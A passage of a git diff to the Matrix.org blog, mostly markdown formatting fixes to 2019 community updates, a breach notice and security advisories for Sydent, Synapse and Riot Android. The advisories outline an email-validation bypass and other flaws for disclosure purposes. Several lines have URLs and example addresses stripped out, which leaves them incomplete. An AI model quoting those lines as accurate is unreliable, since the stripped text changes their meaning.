    • Refactor out the state deltas portion of the user directory store and handler. (#4917)
    • -
    • Fix nginx example in ACME doc. (#4923)
    • -
    • Use an explicit dbname for postgres connections in the tests. (#4928)
    • -
    • Fix ClientReplicationStreamProtocol.__str__(). (#4929)
    • +
    • Add a systemd setup that supports synapse workers. Contributed by Luca Corbatto. (#4662)
    • +
    • Change from TravisCI to Buildkite for CI. (#4752)
    • +
    • When presence is disabled don't send over replication. (#4757)
    • +
    • Minor docstring fixes for MatrixFederationAgent. (#4765)
    • +
    • Optimise EDU transmission for the federation_sender worker. (#4770)
    • +
    • Update test_typing to use HomeserverTestCase. (#4771)
    • +
    • Update URLs for riot.im icons and logos in the default notification templates. (#4779)
    • +
    • Removed unnecessary $ from some federation endpoint path regexes. (#4794)
    • +
    • Remove link to deleted title in README. (#4795)
    • +
    • Clean up read-receipt handling. (#4797)
    • +
    • Add some debug about processing read receipts. (#4798)
    • +
    • Clean up some replication code. (#4799)
    • +
    • Add some docstrings. (#4815)
    • +
    • Add debug logger to try and track down #4422. (#4816)
    • +
    • Make shutdown API send explanation message to room after users have been forced joined. (#4817)
    • +
    • Update example_log_config.yaml. (#4820)
    • +
    • Document the generate option for the docker image. (#4824)
    • +
    • Fix check-newsfragment for debian-only changes. (#4825)
    • +
    • Add some debug logging for device list updates to help with #4828. (#4828)
    • +
    • Improve federation documentation, specifically .well-known support. Many thanks to @vaab. (#4832)
    • +
    • Disable captcha registration by default in unit tests. (#4839)
    • +
    • Add stuff back to the .gitignore. (#4843)
    • +
    • Clarify what registration_shared_secret allows for. (#4844)
    • +
    • Correctly log expected errors when fetching server keys. (#4847)
    • +
    • Update install docs to explicitly state a full-chain (not just the top-level) TLS certificate must be provided to Synapse. This caused some people's Synapse ports to appear correct in a browser but still (rightfully so) upset the federation tester. (#4849)
    • +
    • Move client read-receipt processing to federation sender worker. (#4852)
    • +
    • Refactor federation TransactionQueue. (#4855)
    • +
    • Comment out most options in the generated config. (#4863)
    • +
    • Fix yaml library warnings by using safe_load. (#4869)
    • +
    • Update Apache setup to remove location syntax. Thanks to @cwmke! (#4870)
    • +
    • Reinstate test case that runs unit tests against oldest supported dependencies. (#4879)
    • +
    • Update link to federation docs. (#4881)
    • +
    • fix test_auto_create_auto_join_where_no_consent. (#4886)
    • +
    • Use a regular HomeServerConfig object for unit tests rater than a Mock. (#4889)
    • +
    • Add some notes about tuning postgres for larger deployments. (#4895)
    • +
    • Add a config option for torture-testing worker replication. (#4902)
    • +
    • Log requests which are simulated by the unit tests. (#4905)
    • +
    • Allow newsfragments to end with exclamation marks. Exciting! (#4912)
    • +
    • Refactor some more tests to use HomeserverTestCase. (#4913)
    • +
    • Refactor out the state deltas portion of the user directory store and handler. (#4917)
    • +
    • Fix nginx example in ACME doc. (#4923)
    • +
    • Use an explicit dbname for postgres connections in the tests. (#4928)
    • +
    • Fix ClientReplicationStreamProtocol.__str__(). (#4929)
    diff --git a/content/blog/2019/04/2019-04-05-this-week-in-matrix-2019-04-05.md b/content/blog/2019/04/2019-04-05-this-week-in-matrix-2019-04-05.md index 333f46e06..0e482c9e9 100644 --- a/content/blog/2019/04/2019-04-05-this-week-in-matrix-2019-04-05.md +++ b/content/blog/2019/04/2019-04-05-this-week-in-matrix-2019-04-05.md @@ -25,7 +25,7 @@ Neil, Synapse overlord: > Dockerfile for sytest running against Dendrite approved. Close to being able to run Dendrite against sytest. Also using sytest's new test white/blacklist functionality to include a list of tests that Dendrite is known to pass in the repo. When people make new PRs that allow Dendrite to pass new tests, they can also append the names of the tests to the testfile to help automatically track Dendrite's improving progress. Look forward to seeing further progress post Synapse 1.0. -## libQMatrixClient 0.5.1 released, +## libQMatrixClient 0.5.1 released kitsune: @@ -74,34 +74,34 @@ and to follow up: ## Riot Web >
      ->
    • Working towards bringing breadcrumbs out of labs
    • ->
    • Adding image preview to file upload UX
    • ->
    • Stability fixes for timeline
    • ->
    • Defending against issues introduced when using Riot Web on a machine which is running out of disk space
    • +>
    • Working towards bringing breadcrumbs out of labs
    • +>
    • Adding image preview to file upload UX
    • +>
    • Stability fixes for timeline
    • +>
    • Defending against issues introduced when using Riot Web on a machine which is running out of disk space
    • >
    ## Riot iOS >
      ->
    • Grouped notifications are coming! We have added some logs to track why the notification setting is sometimes disables (#2348).
    • ->
    • SAS device verification is still in progress but it should be released next week.
    • +>
    • Grouped notifications are coming! We have added some logs to track why the notification setting is sometimes disables (#2348).
    • +>
    • SAS device verification is still in progress but it should be released next week.
    • >
    ## Riot Android >
      ->
    • Three releases this week, to fix several bugs with the new EventStreamServiceX, and to fix issue with the Jitsi conference call (Riot.im 0.8.29). FDroid users should receive the upgrade soon.
    • ->
    • Users are happy with the new notifications!
    • ->
    • Valere is still working on SAS, we are reaching the end :).
    • +>
    • Three releases this week, to fix several bugs with the new EventStreamServiceX, and to fix issue with the Jitsi conference call (Riot.im 0.8.29). FDroid users should receive the upgrade soon.
    • +>
    • Users are happy with the new notifications!
    • +>
    • Valere is still working on SAS, we are reaching the end :).
    • >
    ## RiotX (Android) >
      ->
    • It's now possible to signout from RiotX.
    • ->
    • The whole setting screen has been imported from Riot, as well as the Themes and some other small features (launcher icon, etc.).
    • ->
    • Benoit is working on room creation, sdk side, and François is working on image upload.
    • ->
    • We should start to integrate new design from Nad next week.
    • +>
    • It's now possible to signout from RiotX.
    • +>
    • The whole setting screen has been imported from Riot, as well as the Themes and some other small features (launcher icon, etc.).
    • +>
    • Benoit is working on room creation, sdk side, and François is working on image upload.
    • +>
    • We should start to integrate new design from Nad next week.
    • >
    ## continuum (JavaFX desktop client) @@ -141,9 +141,9 @@ Find the video here: https://lain.haus/_matrix/media/v1/download/lain.haus/kbCZr > A few bounties have been added to Synapse and Riot recently to encourage community members to work on those projects. Although they aren't large enough to actually pay for development, I believe they can serve as a small push to help an already interested developer justify spending some time working on these projects. > ## Still more diff --git a/content/blog/2019/04/2019-04-08-synapse-deprecating-postgres-9-4-and-python-2-x.md b/content/blog/2019/04/2019-04-08-synapse-deprecating-postgres-9-4-and-python-2-x.md index 32db22ffc..13b681df2 100644 --- a/content/blog/2019/04/2019-04-08-synapse-deprecating-postgres-9-4-and-python-2-x.md +++ b/content/blog/2019/04/2019-04-08-synapse-deprecating-postgres-9-4-and-python-2-x.md @@ -27,9 +27,9 @@ For Postgres, will give server admins 6 weeks to upgrade to a newer version, and We have multiple reasons, but broadly:-
      -
    • We want to make use of new language features not supported in old versions. This will enable us to continue to improve the performance and maintainability of Synapse.
    • -
    • Python 2.x overall will be end of life'd at the end of the year. Postgres 9.4's final release will follow 2 months later on 13th February 2020.
    • -
    • Since very few server admins still use these technologies on the wild, providing support is costly and we want to reduce our overall maintenance load.
    • +
    • We want to make use of new language features not supported in old versions. This will enable us to continue to improve the performance and maintainability of Synapse.
    • +
    • Python 2.x overall will be end of life'd at the end of the year. Postgres 9.4's final release will follow 2 months later on 13th February 2020.
    • +
    • Since very few server admins still use these technologies on the wild, providing support is costly and we want to reduce our overall maintenance load.
    ## La la la I am ignoring you - what will happen? diff --git a/content/blog/2019/04/2019-04-11-we-have-discovered-and-addressed-a-security-breach-updated-2019-04-12.md b/content/blog/2019/04/2019-04-11-we-have-discovered-and-addressed-a-security-breach-updated-2019-04-12.md index 43ba8dea1..3a28d82d3 100644 --- a/content/blog/2019/04/2019-04-11-we-have-discovered-and-addressed-a-security-breach-updated-2019-04-12.md +++ b/content/blog/2019/04/2019-04-11-we-have-discovered-and-addressed-a-security-breach-updated-2019-04-12.md @@ -10,13 +10,13 @@ category = ["General"] Update: for the full story here, please see the post mortem.
    -## Here's what you need to know. +## Here's what you need to know TL;DR: An attacker gained access to the servers hosting Matrix.org. The intruder had access to the production databases, potentially giving them access to unencrypted message data, password hashes and access tokens. As a precaution, if you're a matrix.org user you should change your password now. The matrix.org homeserver has been rebuilt and is running securely; bridges and other ancillary services (e.g. this blog) will follow as soon as possible. Modular.im homeservers have not been affected by this outage. -### The security breach is not a Matrix issue. +### The security breach is not a Matrix issue The hacker exploited a vulnerability in our production infrastructure (specifically a slightly outdated version of Jenkins). Homeservers other than matrix.org are unaffected. @@ -52,9 +52,9 @@ Forensics are ongoing; so far we've found no evidence of large quantities of dat The target appeared to be internal credentials for onward exploits, not end user information from the matrix.org homeserver. -### You might have lost access to your encrypted messages. +### You might have lost access to your encrypted messages -As we had to log out all users from matrix.org, if you do not have backups of your encryption keys you will not be able to read your encrypted conversation history. However, if you use server-side encryption key backup (the default in Riot these days) or take manual key backups, you’ll be okay. +As we had to log out all users from matrix.org, if you do not have backups of your encryption keys you will not be able to read your encrypted conversation history. However, if you use server-side encryption key backup (the default in Riot these days) or take manual key backups, you’ll be okay. This was a difficult choice to make. We weighed the risk of some users losing access to encrypted messages against that of all users' accounts being vulnerable to hijack via the compromised access tokens. We hope you can see why we made the decision to prioritise account integrity over access to encrypted messages, but we're sorry for the inconvenience this may have caused. @@ -98,7 +98,7 @@ April 11th ## Update 2019-04-12 -At around 5am UTC on Apr 12, the attacker used a cloudflare API key to repoint DNS for matrix.org to a defacement website (https://github.com/matrixnotorg/matrixnotorg.github.io). +At around 5am UTC on Apr 12, the attacker used a cloudflare API key to repoint DNS for matrix.org to a defacement website (). The API key was known compromised in the original attack, and during the rebuild the key was theoretically replaced. However, unfortunately only personal keys were rotated, enabling the defacement. We are currently doublechecking that all compromised secrets have been rotated. @@ -110,7 +110,7 @@ for everyone to change their password. We will shortly be messaging and ema to change their passwords. We will also look at ways of non-destructively forcing a password reset at next login. The attacker has also posted github issues detailing some of their actions and suggested remediations at -https://github.com/matrix-org/matrix.org/issues/created_by/matrixnotorg. +. This confirms that GPG keys used for signing packages were compromised. These keys are used for signing the synapse debian repository (AD0592FE47F0DF61), and releases of Riot/Web (E019645248E8F4A1). diff --git a/content/blog/2019/04/2019-04-18-security-update-sydent-1-0-2.md b/content/blog/2019/04/2019-04-18-security-update-sydent-1-0-2.md index de3e5bbc0..1be794a09 100644 --- a/content/blog/2019/04/2019-04-18-security-update-sydent-1-0-2.md +++ b/content/blog/2019/04/2019-04-18-security-update-sydent-1-0-2.md @@ -15,7 +15,7 @@ We became aware today of a flaw in [sydent](https://github.com/matrix-org/sydent Meanwhile, if you have been relying on the `allowed_local_3pids` configuration option to restrict access to your homeserver, you may wish to check your homeserver’s user_threepids table for malformed email addresses and your sydent’s database as follows: -``` +```bash $ sqlite3 sydent.db sqlite> select count(*) from global_threepid_associations where address like '%@%@%'; 0 @@ -35,7 +35,7 @@ A flaw existed in sydent whereby it was possible to bypass the requirement speci This relied on two things: -1. sydent uses python's email.utils.parseaddr function to parse the input email address before sending validation mail to it, but it turns out that if you hand parseaddr an malformed email address of form a@b.com@c.com, it silently discards the @c.com prefix without error. The result of this is that if one requested a validation token for 'a@malicious.org@important.com', the token would be sent to 'a@malicious.org', but the address 'a@malicious.org@important.com' would be marked as validated. This release fixes this behaviour by asserting that the parsed email address is the same as the input email address. +1. sydent uses python's email.utils.parseaddr function to parse the input email address before sending validation mail to it, but it turns out that if you hand parseaddr an malformed email address of form @c.com, it silently discards the @c.com prefix without error. The result of this is that if one requested a validation token for '@important.com', the token would be sent to '', but the address '@important.com' would be marked as validated. This release fixes this behaviour by asserting that the parsed email address is the same as the input email address. 2. synapse's checking of email addresses relies on regular expressions in the home server configuration file. synapse does not validate email addresses before checking them against these regular expressions, so naive regular expressions will detect the second domain in email addresses such as the above, causing them to pass the check. You can get sydent 1.0.2 from . diff --git a/content/blog/2019/04/2019-04-18-this-week-in-matrix-2019-04-18.md b/content/blog/2019/04/2019-04-18-this-week-in-matrix-2019-04-18.md index 12b4257eb..ae4fe09a9 100644 --- a/content/blog/2019/04/2019-04-18-this-week-in-matrix-2019-04-18.md +++ b/content/blog/2019/04/2019-04-18-this-week-in-matrix-2019-04-18.md @@ -7,7 +7,7 @@ author = ["Matrix.org Team"] category = ["This Week in Matrix"] +++ -## Welcome to the new blog! +## Welcome to the new blog Check out the new digs! We're happy with this newly deployed blog, and all the old and loveable content is right down there. If you find issues, [let me know][benpa]. You may remember Nad, from previous editions of Matrix Live - huge thanks to him for his work on the design and upkeep of this new deployment. @@ -46,6 +46,7 @@ There has actually been a release since, which includes: > message sending and viewing image history! + ![](/blog/pattle.2019-04-18.png) ## libQMatrixClient 0.5.1.2 && Quaternion 0.0.9.4 @@ -53,32 +54,33 @@ There has actually been a release since, which includes: [kitsune] is talking about the long road to 0.0.9.4: >[libQMatrixClient] 0.5.1.2 has been released, with all the remaining bugfixes for Quaternion 0.0.9.4 that's coming any day soon now. The release notes are here: - -> Quaternion 0.0.9.4 RC3, the last one before the release that will happen in the nearest days, is out. Release notes can be found at https://github.com/QMatrixClient/Quaternion/releases/tag/0.0.9.4-rc3. Translators, you literally have hours to add your translations for 0.0.9.4! +> +> Quaternion 0.0.9.4 RC3, the last one before the release that will happen in the nearest days, is out. Release notes can be found at . Translators, you literally have hours to add your translations for 0.0.9.4! ## neo > I reimplemented the matrix sdk into Neo, so it works nicer. Colors and font look nicer (base16-tomorrow, Open Sans), and there's text message sending, with localecho! >I also fixed a bug where react would recycle displayname-components across rooms, attributing them to the wrong messages + ![](/blog/neo.2019-04-18.png) -> a video at https://lain.haus/_matrix/media/v1/download/lain.haus/VfshWRfaNUnpGQbdkyYczxvd +> a video at -Go test Neo at: https://neo.lain.haus/neo +Go test Neo at: ## matrix-registration update [ZerataX]: > it's been a long while, but I've finally come around to improving on matrix-registration -> For those of you, who have forgotten what this project is about, it basically lets you invite people to your homeserver with tokens, e.g. https://homeserver.tld/register?token=DoubleWizardSky +> For those of you, who have forgotten what this project is about, it basically lets you invite people to your homeserver with tokens, e.g. > This whole update was about making the project more user friendly. > I made a new default registration page that requires 0 setup and you can install the project right from pypi with pip, so you don't even need to clone the repo any longer. -> check a live example here: https://chat.dmnd.sh/register -> and to play around with the api you can can go over to the github page: https://zeratax.github.io/matrix-registration/demo.html?token=ColorWhiskeyExpand +> check a live example here: +> and to play around with the api you can can go over to the github page: > channel: [#matrix-registration:dmnd.sh] -> github: https://github.com/zeratax/matrix-registration +> github: [Video available here.](https://matrix.org/_matrix/media/v1/download/dmnd.sh/UKGgpbHRdFXzKywxjjbfHAsI) @@ -86,7 +88,7 @@ Go test Neo at: https://neo.lain.haus/neo [TravisR]: ->[matrix-media-repo] now has s3 (and s3-like) support, making it easier to archive older media or use minimal disk space. See the new datastores option in the config and the admin docs ( https://github.com/turt2live/matrix-media-repo/blob/master/docs/admin.md#datastore-management ) for more information. +>[matrix-media-repo] now has s3 (and s3-like) support, making it easier to archive older media or use minimal disk space. See the new datastores option in the config and the admin docs ( ) for more information. ## Dimension @@ -97,8 +99,8 @@ Go test Neo at: https://neo.lain.haus/neo ## Riot iOS ->* Interactive device verification is still in progress ->* Update WebRTC and Jitsi libs (in progress) +>- Interactive device verification is still in progress +>- Update WebRTC and Jitsi libs (in progress) ## Riot Android @@ -107,15 +109,14 @@ Go test Neo at: https://neo.lain.haus/neo ## RiotX (Android) ->* We can now clear the cache of the application (Riot legacy feature) ->* Sync filter has been implemented ->* François is working on thumbnail of video (upload and preview) in the timeline +>- We can now clear the cache of the application (Riot legacy feature) +>- Sync filter has been implemented +>- François is working on thumbnail of video (upload and preview) in the timeline ## That's all I know See you next week, and be sure to stop by [#twim:matrix.org] with your updates! - [benpa]: https://matrix.to/#/@benpa:matrix.org [Half-Shot]: https://matrix.to/#/@Half-Shot:half-shot.uk [Wilko]: https://matrix.to/#/@wilko:matrix.org diff --git a/content/blog/2019/04/2019-04-26-this-week-in-matrix-2019-04-26.md b/content/blog/2019/04/2019-04-26-this-week-in-matrix-2019-04-26.md index 7e4b4d6bc..8dc2e292c 100644 --- a/content/blog/2019/04/2019-04-26-this-week-in-matrix-2019-04-26.md +++ b/content/blog/2019/04/2019-04-26-this-week-in-matrix-2019-04-26.md @@ -14,18 +14,21 @@ No Ben this week. I'm afraid this means no matrix live, but fear not your Ben or ## Things that have happened ## Riot Android - * New Riot.im application has been delivered to the PlayStore: https://play.google.com/store/apps/details?id=im.vector.app. It replaces the previous app. More details here: https://medium.com/@RiotChat/riot-im-android-security-update-2b3f655ad739 - * François and Benoit were at AndroidMakers Paris on Tuesday and Wednesday. We’ve seen plenty of interesting conferences and come back with many ideas to improve Riot UX/UI/Implementation/testing/etc. - * SAS device verification review is over, will be merged once we have the tagged OLM library. + +* New Riot.im application has been delivered to the PlayStore: . It replaces the previous app. More details here: +* François and Benoit were at AndroidMakers Paris on Tuesday and Wednesday. We’ve seen plenty of interesting conferences and come back with many ideas to improve Riot UX/UI/Implementation/testing/etc. +* SAS device verification review is over, will be merged once we have the tagged OLM library. ## RiotX (Android) - * Valere has started working on reactions (which will be implemented only on RiotX for Android). - * François has worked on merging membership Events in the timeline + +* Valere has started working on reactions (which will be implemented only on RiotX for Android). +* François has worked on merging membership Events in the timeline ## Riot iOS - * Interactive device verification has been merged - * Jitsi and WebRTC updates have been merged - * Fix bugs in order to prepare a release + +* Interactive device verification has been merged +* Jitsi and WebRTC updates have been merged +* Fix bugs in order to prepare a release ## Crypto @@ -34,37 +37,46 @@ No Ben this week. I'm afraid this means no matrix live, but fear not your Ben or > olm 3.1.0 has been released. This release adds new functions to help with SAS-based key verification (a.k.a. emoji-based verification) and with cross-signing. The Python bindings are also now available on pypi, so you can install it using "pip install python-olm", though you need the olm library and development files installed first. Also - * Python-olm available on pypi. - * Initial SAS verification support for nio. + +* Python-olm available on pypi. +* Initial SAS verification support for nio. ## Spectral + [Black Hat] reports that: Spectral's redesign continues, featuring a beautiful responsive UI(not kirigami yet, sorry) and more functionalities. Legacy UIs such as the room detail panel are changed to fit into redesigned UI better. Basic room upgrade support is added, allowing you to switch between the old room and the new room. Room settings and user detail dialogs are added. You can also ignore users in the user detail dialog. + ![](/blog/spectral.2019-04-26.1.png) + ![](/blog/spectral.2019-04-26.2.png) - ## matrix-nsfw + A [Black Hat] double header this week: -> matrix-nsfw has been ported from Golang to Rust. The backend machine learning framework is also switched to Tensorflow, giving a major performance boost. For anyone that doesn't know what matrix-nsfw is, it is a bot-like utility that detects NSFW images in a room. The new repo is at https://gitlab.com/b0/matrix-nsfw-rust +> matrix-nsfw has been ported from Golang to Rust. The backend machine learning framework is also switched to Tensorflow, giving a major performance boost. For anyone that doesn't know what matrix-nsfw is, it is a bot-like utility that detects NSFW images in a room. The new repo is at ## Neo + Sometimes a picture tells a thousands rainbow coloured words. Thanks [Foks] + ![](/blog/neo.2019-04-26.png) ## Ruma + [Jimmy] reports that: >All of Ruma's libraries (but not yet the homeserver itself) are now targeting stable Rust! ## Continiuum + [yuforia] reports that: >* If a room member is not visible on screen, updating their name doesn't require switching to the main UI thread +> * Apply formatting when viewing the json source of an event * Reuse GUI components to improve performance, update content of views instead of creating new ones * Use a hash set to avoid going through the list of room members in some cases * Move more of local storage into the database: names and avatars of users and rooms, room membership, recently used accounts, etc. @@ -74,20 +86,24 @@ Sometimes a picture tells a thousands rainbow coloured words. Thanks [Foks] >After switching from plaintext files to an embedded database, some components are still in the process of being rewritten, coming next week: load messages from server on demand when scrolling, if they are not yet stored in database; add support for invitations; ## matrix-appservice-discord + [Sorunome] reports that: > matrix-appservice-discord work has finally resumed! The PRs for both migrating the room and user store to SQL have been merged, and many awesome new things should follow up soon! ## Synapse + The reactions and edits API is taking shape, we’re making progress on our small homeserver setup, and we’re hunting a new set of device key management bugs that came to light in the absence of matrix.org. We’ve been a bit disrupted these past few weeks, but work towards Synapse 1.0 continues and we’ll soon be ready to offer a release candidate. ## miniVector + [Curious Cat] reports that: >miniVector 0.8.29 is available on Goldy and Froid (and are unaffected by the Riot/Android [re-release drama](https://medium.com/@RiotChat/riot-im-android-security-update-2b3f655ad739)). ## The 'Incident' + We know you'll have a bunch of questions, we'll be publishing a full post-mortem next week. Thanks for bearing with us. ## The End @@ -99,7 +115,6 @@ See you next week, it will be Bentastic I can assure you. Be sure to stop by [#t [uhoreg]: https://matrix.to/#/@uhoreg:matrix.org [Sorunome]: https://matrix.to/#/@sorunome:sorunome.de [Black Hat]: https://matrix.to/#/@bhat:encom.eu.org -[neilj]: https://matrix.to/#/@neilj:matrix.org [Foks]: https://matrix.to/#/@f0x:lain.haus [#twim:matrix.org]: https://matrix.to/#/#TWIM:matrix.org [Curious Cat]: https://matrix.to/#/@wtp2018:matrix.org diff --git a/content/blog/2019/05/2019-05-03-security-updates-sydent-1-0-3-synapse-0-99-3-1-and-riot-android-0-9-0-0-8-99-0-8-28a.md b/content/blog/2019/05/2019-05-03-security-updates-sydent-1-0-3-synapse-0-99-3-1-and-riot-android-0-9-0-0-8-99-0-8-28a.md index 61e28d3a2..af3a5c342 100644 --- a/content/blog/2019/05/2019-05-03-security-updates-sydent-1-0-3-synapse-0-99-3-1-and-riot-android-0-9-0-0-8-99-0-8-28a.md +++ b/content/blog/2019/05/2019-05-03-security-updates-sydent-1-0-3-synapse-0-99-3-1-and-riot-android-0-9-0-0-8-99-0-8-28a.md @@ -19,9 +19,9 @@ Since we published the Hall of Fame yesterday, we’ve already been getting new Sydent 1.0.3 has three security fixes: -* Ensure that authentication tokens are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. This is an important fix - please update. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing the issue! -* Mitigate an HTML injection bug where an invalid room_id could result in malicious HTML being injected into validation emails. **The fix for this is in the email template itself; you will need to update any customised email templates to be protected.** Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue too! -* Randomise session_ids to avoid leaking info about the total number of identity validations, and whether a given ID has been validated. Thanks to [@fs0c131y](https://fs0c131y.com) for identifying and responsibly disclosing this one. +* Ensure that authentication tokens are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. This is an important fix - please update. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing the issue! +* Mitigate an HTML injection bug where an invalid room_id could result in malicious HTML being injected into validation emails. **The fix for this is in the email template itself; you will need to update any customised email templates to be protected.** Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue too! +* Randomise session_ids to avoid leaking info about the total number of identity validations, and whether a given ID has been validated. Thanks to [@fs0c131y](https://fs0c131y.com) for identifying and responsibly disclosing this one. If you are running Sydent as an identity server, you should update as soon as possible from [https://github.com/matrix-org/sydent/releases/v1.0.3](https://github.com/matrix-org/sydent/releases/v1.0.3). We are not aware of any of these issues having been exploited maliciously in the wild. @@ -29,8 +29,8 @@ If you are running Sydent as an identity server, you should update as soon as po Synapse 0.99.3.1 is a security update for two fixes: -* Ensure that random IDs in Synapse are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue! -* Add 0.0.0.0/32 and ::/128 to the URL preview blacklist configuration, ensuring that an attacker cannot make connections to localhost. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue too! +* Ensure that random IDs in Synapse are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue! +* Add 0.0.0.0/32 and ::/128 to the URL preview blacklist configuration, ensuring that an attacker cannot make connections to localhost. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue too! You can update from [https://github.com/matrix-org/synapse/releases](https://github.com/matrix-org/synapse/releases) or similar as normal. We are not aware of any of these issues having been exploited maliciously in the wild. @@ -40,9 +40,8 @@ You can update from [https://github.com/matrix-org/synapse/releases](https://git Riot/Android has an important security fix which shipped over the course of the last week in various versions of the app: -* Remove obsolete and buggy ContentProvider which could allow a malicious local app to compromise account data. Many thanks to Julien Thomas ([@julien_thomas](https://twitter.com/@julien_thomas)) from [Protektoid Project](https://protektoid.com) for identifying this and responsibly disclosing it! +* Remove obsolete and buggy ContentProvider which could allow a malicious local app to compromise account data. Many thanks to Julien Thomas ([@julien_thomas](https://twitter.com/@julien_thomas)) from [Protektoid Project](https://protektoid.com) for identifying this and responsibly disclosing it! The fix for this shipped on F-Droid since 0.8.28a, and on the Play Store, the fix is present in both v0.9.0 (the first version of the re-published Riot app) and v0.8.99 (the last version of the old Riot app, which told everyone to reinstall). Other forks of Riot which we’re aware of have also been informed and should be updated. If you haven’t already updated, please do so now. - diff --git a/content/blog/2019/05/2019-05-03-this-week-in-matrix-2019-05-03.md b/content/blog/2019/05/2019-05-03-this-week-in-matrix-2019-05-03.md index 4b30e564f..ffea01da8 100644 --- a/content/blog/2019/05/2019-05-03-this-week-in-matrix-2019-05-03.md +++ b/content/blog/2019/05/2019-05-03-this-week-in-matrix-2019-05-03.md @@ -9,9 +9,9 @@ category = ["This Week in Matrix"] ## New matrix.org Security Disclosure Policy and moderation pages -Check out the Matrix Official Security Disclosure Policy, which also features a "Hall of Fame": https://matrix.org/security-disclosure-policy/ +Check out the Matrix Official Security Disclosure Policy, which also features a "Hall of Fame": -We also have an official moderation guide now at https://matrix.org/docs/guides/moderation +We also have an official moderation guide now at ## Servers @@ -19,7 +19,7 @@ We also have an official moderation guide now at https://matrix.org/docs/guides/ #### Last week -Work progresses on reactions support, expect a more formal MSC rsn, but for check out https://github.com/matrix-org/matrix-doc/blob/matthew/msc1849/proposals/1849-aggregations.md for more details. Aside from that we now have an API to send server notices, support is coming for blacklisting IP ranges for federation traffic and finally we published a security disclosure policy and hall of fame https://matrix.org/security-disclosure-policy/. We’ve also been tracking down some device management bugs that prevent e2e message decryption as well as fixing some security bugs. +Work progresses on reactions support, expect a more formal MSC rsn, but for check out for more details. Aside from that we now have an API to send server notices, support is coming for blacklisting IP ranges for federation traffic and finally we published a security disclosure policy and hall of fame . We’ve also been tracking down some device management bugs that prevent e2e message decryption as well as fixing some security bugs. #### Next week @@ -28,7 +28,7 @@ More reactions work, device management bug hunting and server key validity suppo ### Crypto * Olm 3.1.2 bugfix release. -* [Pantalaimon]: Initial SAS support through panctl http://webmshare.com/play/QeBY1 +* [Pantalaimon]: Initial SAS support through panctl * Pantalaimon: Support for sending out key requests. ## Clients @@ -39,7 +39,7 @@ There are some **BIG** (capital and bold!) client releases this week, let's take Big release for Quaternion this week, following lots of work on [libQMatrixClient]. [kitsune] reports that: -Quaternion is now officially at version 0.0.9.4! Optional native scrollbar for the timeline, files uploading, initial support of matrix.to links (the foundation for future Matrix URIs), first complete translations, and much much more - the long list is here: https://github.com/QMatrixClient/Quaternion/releases/tag/0.0.9.4. Packagers are advised to take a look at the building and packaging section of the release notes: there are a few updates for you there. +Quaternion is now officially at version 0.0.9.4! Optional native scrollbar for the timeline, files uploading, initial support of matrix.to links (the foundation for future Matrix URIs), first complete translations, and much much more - the long list is here: . Packagers are advised to take a look at the building and packaging section of the release notes: there are a few updates for you there. ## Spectral @@ -49,7 +49,7 @@ Continuing the QT-client theme, [Black Hat] has released a new version of [Spect Changelog: -``` +```txt Increase minimum Qt version to 5.12. Redesigned UI. Emoji and username auto completion in text input. @@ -92,7 +92,7 @@ Check out a [video demo at here](https://matrix.org/_matrix/media/v1/download/ma > This week in [continuum]: > > * Remove support for embedded webview and open external browsers when necessary instead. Many users actually prefer it this way. And dependency on a fairly large native module is gone. -> * Improvements on the emoji input. Removed some style classes and tweaked some sizes to make the appearance more compact and flat. https://matrix.org/_matrix/media/v1/download/matrix.org/PvFFPAvoDhiHghsyeJnWVyAK +> * Improvements on the emoji input. Removed some style classes and tweaked some sizes to make the appearance more compact and flat. ### Riot Web @@ -101,10 +101,10 @@ Initial UI work on reactions and editing, nothing useable yet though. ### Riot iOS * Release of 0.8.5 : - * Grouped notifications - * Interactive device verification (by emoji) - * WebRTC and Jitsi libs updates - * min iOS version is now 10 (Jitsi constraints) + * Grouped notifications + * Interactive device verification (by emoji) + * WebRTC and Jitsi libs updates + * min iOS version is now 10 (Jitsi constraints) * Initial UI work on reactions, nothing useable yet though. ### Riot Android @@ -139,7 +139,7 @@ Benoit from the Riot team: [tulir]: -> I made a new Facebook Messenger bridge: https://github.com/tulir/mautrix-facebook / [#facebook:maunium.net]. Currently the main difference to [matrix-puppet-facebook] is multi-user support like my WhatsApp and Telegram bridges. The bridge is Python and the code structure is similar to [mautrix-telegram], so I'll probably eventually create a generic bridge library out of the common parts. +> I made a new Facebook Messenger bridge: / [#facebook:maunium.net]. Currently the main difference to [matrix-puppet-facebook] is multi-user support like my WhatsApp and Telegram bridges. The bridge is Python and the code structure is similar to [mautrix-telegram], so I'll probably eventually create a generic bridge library out of the common parts. ## SDKs and Frameworks diff --git a/content/blog/2019/05/2019-05-07-welcome-to-the-2019-g-so-c-participants.md b/content/blog/2019/05/2019-05-07-welcome-to-the-2019-g-so-c-participants.md index 9aaeecb5c..695983671 100644 --- a/content/blog/2019/05/2019-05-07-welcome-to-the-2019-g-so-c-participants.md +++ b/content/blog/2019/05/2019-05-07-welcome-to-the-2019-g-so-c-participants.md @@ -24,6 +24,6 @@ And finally, Cnly’s proposal for working towards completion of [Dendrite](http Congratulations to the selected students. We look forward to participating with you on completing your project over the course of the summer holidays. -If your proposal was not selected, do not give up hope! Being an active member of the Matrix community and having a deep understanding of the ecosystem and its projects is a big part of what we look for when choosing candidates. If you stick around, you have a strong chance of being chosen in a subsequent year. +If your proposal was not selected, do not give up hope! Being an active member of the Matrix community and having a deep understanding of the ecosystem and its projects is a big part of what we look for when choosing candidates. If you stick around, you have a strong chance of being chosen in a subsequent year. We will not be sharing individual’s proposal documents, but students are free to share them as they please. diff --git 